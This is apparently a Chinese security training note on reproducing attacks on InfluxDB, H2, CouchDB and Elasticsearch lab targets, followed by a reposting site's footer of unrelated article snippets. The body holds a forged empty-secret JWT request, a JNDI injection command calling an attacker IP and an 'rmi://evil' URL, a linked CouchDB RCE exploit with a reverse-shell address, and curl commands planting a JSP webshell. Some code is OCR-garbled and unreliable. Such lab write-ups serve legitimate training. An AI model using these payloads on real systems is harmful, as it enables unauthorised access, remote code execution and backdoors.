网络安全全栈培训笔记(56-服务攻防-数据库安全H2ElasticsearchCouchDBInfluxdb复现)

第56天 服务攻防-数据库安全&H2&Elasticsearch&CouchDB&Influxdb复现

在这里插入图片描述

知识点:

1、服务攻防数据库类型安全
2、influxdb,.未授权访问wt验证
3、H2 database-未授权访问-配置不当
4、CouchDB-权限绕过配合RCE-漏洞
5、ElasticSearch-文件写入&RCE-漏洞
#章节内容:
常见服务应用的安全测试:
1、配置不当-未授权访问
2、安全机制特定安全漏洞
3、安全机制弱口令爆破攻击

#前置知识:
应用服务安全测试流程:见图
1、判断服务开放情况端口扫描&组合应用等
2、判折服务类型归属数据库&文件传输&通讯等
3、判折服务利用方式特定漏洞&未授权&弱口令等
在这里插入图片描述

演示案例:

Influxdb-未授权访问-Jwt验证不当
H2database-未授权访问-配置不当
CouchDB-权限绕过配合RCE-漏洞
ElasticSearch-文件写入&RCE-漏洞

#nfluxdb-未授权访问-Jwt验证不当
默认端☐:8086,8088
influxdb是一款菩名的时序数据库,其使用jwt作为鉴权方式。在用户开启了认证,但未设
置参数shared-secret的情况下,jwt的认证密钥为空字符串,此时攻击者可以伪造任意用户
身份在influxdb中执行SQL语句,
1、使用 https://jwt.io/ 生成一个带有空密钥的有效 JWT 令牌:

{
alg":"HS256",
"typ":"JWT"
}
{
"usemame":"admin",
"exp":1676346267
}

其中是管理员帐户名称,是令牌过期时间。您应该设置为将来的时间以使其生效:usernameexpexp
在这里插入图片描述
然后把这个令牌带到请求中,并成功在服务器中执行SQL语句:show users

POST /query HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyOTg2MzQ2MjY3fQ.LJDvEy5zvSEpA_C6pnK3JJFkUKGq9eEi8T2wdum3R_s
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22db=sample&q=show+users

在这里插入图片描述
#H2 database-未授权访问-配置不当
默认端口:20051
H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页
面,在Spring开发中,如果我们设置如下选项,即可允许外部用户访问Wb管理页面,且
没有鉴权:默认端口:
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
利用这个管理页面,我们可以进行JND注入攻击,进而在目标环境下执行任意命令。
管理页面默认为。http://your-ip:8080http://your-ip:8080/h2-console/
1、下载JNDI-Injection-Exploit
https://github.com/welk1n/JNDI-Injection-Exploit
2、生成执行RMI Payload-URL
-C执行命令-A服务器地址
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar-C touch /tmp/success -A 47.94.236.117
在这里插入图片描述
在攻击机运行poc,执行后攻击机会监听8180、1099、1389端口
在这里插入图片描述
javax.naming.InitialContext是 JNDI 工厂类名,URL 是恶意的 RMI 地址。rmi://evil:23456/BypassByEL
攻击机的 RMI 服务器收到以下请求:
在这里插入图片描述
touch /tmp/success已成功执行:
在这里插入图片描述

#CouchDB-权限绕过RCE-CVE-2017-12636
1、下载exp.py
2、修改目标和反弹地址
3、Python3调用执行即可
https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

#ElasticSearch-文件写入&RCE漏洞
默认端口:92009300
Elasticsearch RCE CVE-2014-3120
1、漏洞需要s中至少存在一条数据,所以我们需要先创建一条数据

POST /website/blog/HTTP/1.1
Host:your-ip:9200
Accept:*/
Accept-Language:en
User-Agent:Mozilla/5.0 (compatible;MSIE 9.0:Windows NT 6.1;Win64:x64:Trident/5.0)
Connection:close
Content-Type:application/x-www-form-urlencoded
Content-Length:25
{
"name":"xiaodi"
}

2、直接发包触发执行命令

Elasticsearch文件写入wooyun2015110216
9200一股为ElasticSearch的常用端口,此漏洞环境需要与中间件使用
1、发现9200端口存在elasti-search页面,8080存在tomcat目录
2、利用ElasticSearch写入后门到/usr/local/tomcat/webapps/wwwroot/

curl -XPOST http://123.58.236.76:31556/yz.jsp/yz jsp/1-d'
["<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte【】
{47,116,101,115,116,46,106,115,112)》,new String(new byte【】
(114,119))).write(request.getParameter(new String(new byte[(102))).getBytes();
%>"-"test"
curl -XPUT 'http://123.58.236.76:31556/snapshot/yz.jsp'-d'
"type"."fs",
"settings":{
"location":"/usr/local/tomcat/webapps/wwwroot/",
"compress":false
}
}

3.、访问8080端口snapshot–yz jspi文件写入代码到test jsp中
http://123.58.236.76:31557/wwwroot/indices/yz.jsp/snapshot-yz jsp?f=success
http://123.58.236.76:31557/wwwroot/test.jsp

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/421745.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vue3前端开发,一篇文章看懂何谓pinia

vue3前端开发,pinia的基础练习第一节&#xff01; 前言&#xff0c;pinia是为了取代vuex而诞生的产品&#xff0c;它有一些改进。去掉了之前的mutations。只有一个action,既可以支持异步&#xff0c;又支持同步。还提供了解构函数&#xff0c;可以把返回的对象内部属性和方法直…

给创业者的一份忠告~创业就要选择低成本的轻资产创业项目

王健林继续出售资产&#xff0c;5天卖了4座万达广场&#xff0c;出售计划仍在继续..... 根据天眼查app最新消息&#xff0c;厦门殿前万达广场商业管理有限公司发生工商变更&#xff0c;2023至今已经转让10座万达广场。两年前万达旗下的核心子公司万达商管&#xff0c;向一群投资…

xxe漏洞之scms靶场漏洞

xxe-scms 代码审核 &#xff08;1&#xff09;全局搜索simplexml_load_string simplexml_load_string--将XML字符串解释为对象 &#xff08;2&#xff09;查看源代码 ID1 $GLOBALS[HTTP_RAW_POST_DATA]就相当于file_get_contents("php://input"); 因此这里就存…

偷偷浏览小网站时,原来有这么多人已经知道

最近看到一篇挺有意思文章&#xff0c;偷偷浏览小网站时&#xff0c;都有谁会知道你看了啥。思量之下&#xff0c;从更广泛的技术角度看&#xff0c;仍有大量补充的空间&#xff0c;于是就有了这样一篇文章。本文的目的在于增强大家的网络安全意识&#xff0c;非必要不要浏览不…

【Web实操11】定位实操_照片墙(无序摆放)

设置一个板块&#xff0c;将照片随意无序摆放在墙上&#xff0c;从而形成照片墙。本来效果应该是很唯美好看的&#xff0c;就像这种&#xff0c;但是奈何本人手太笨&#xff0c;只好设置能达到照片墙的效果就可。 代码如下&#xff1a; <!DOCTYPE html> <html lang&…

[java基础揉碎]位运算符

java中有7个位运算&#xff08;&、|、^、~、>>、<<和>>>&#xff09; 第一组 分别是按位与&、按位或|、按位异或^&#xff0c;按位取反~&#xff0c;它们的运算规则是&#xff1a; 按位与& : 两位全为1&#xff0c;结果为1&#xff0c;否则…

高低温恒温循环设备如何挑选

yong户在挑选高低温恒温循环设备的时&#xff0c;必定要对设备有所了解&#xff0c;那么&#xff0c;如何挑选适合的高低温恒温循环设备比较好呢? 高低温恒温循环设备在运行过程中是要进行高温、低温温度的操控的&#xff0c;yong户进行高低温运行之后&#xff0c;加热可利用导…

Pandas.Series.std() 样本标准差/总体标准差 详解 含代码 含测试数据集 随Pandas版本持续更新

关于Pandas版本&#xff1a; 本文基于 pandas2.1.2 编写。 关于本文内容更新&#xff1a; 随着pandas的stable版本更迭&#xff0c;本文持续更新&#xff0c;不断完善补充。 Pandas稳定版更新及变动内容整合专题&#xff1a; Pandas稳定版更新及变动迭持续更新。 Pandas API参…

Linux_清理docker磁盘占用

文章目录 前言一、docker system 命令1. docker system df&#xff08;本文重点使用&#xff09;2. docker system prune&#xff08;本文重点使用&#xff09;3. docker system info4. docker system events 二、开始清理三、单独清理Build Cache四、单独清理未被使用的网络 前…

竞赛保研 多目标跟踪算法 实时检测 - opencv 深度学习 机器视觉

文章目录 0 前言2 先上成果3 多目标跟踪的两种方法3.1 方法13.2 方法2 4 Tracking By Detecting的跟踪过程4.1 存在的问题4.2 基于轨迹预测的跟踪方式 5 训练代码6 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 深度学习多目标跟踪 …

java小项目:简单的收入明细记事本,超级简单(不涉及数据库,通过字符串来记录)

一、效果 二、代码 2.1 Acount类 package com.demo1;public class Acount {public static void main(String[] args) {String details "收支\t账户金额\t收支金额\t说 明\n"; //通过字符串来记录收入明细int balance 10000;boolean loopFlag true;//控制循…

GitFlow工作流

基于 Git 这一版本控制系统&#xff0c;通过定义不同的分支&#xff0c;探索合适的工作流程来完成开发、测试、修改等方面的需求。 例如&#xff1a;在开发阶段&#xff0c;创建 feature 分支&#xff0c;完成需求后&#xff0c;将此分支合并到 develop 分支上&#xff1b;在发…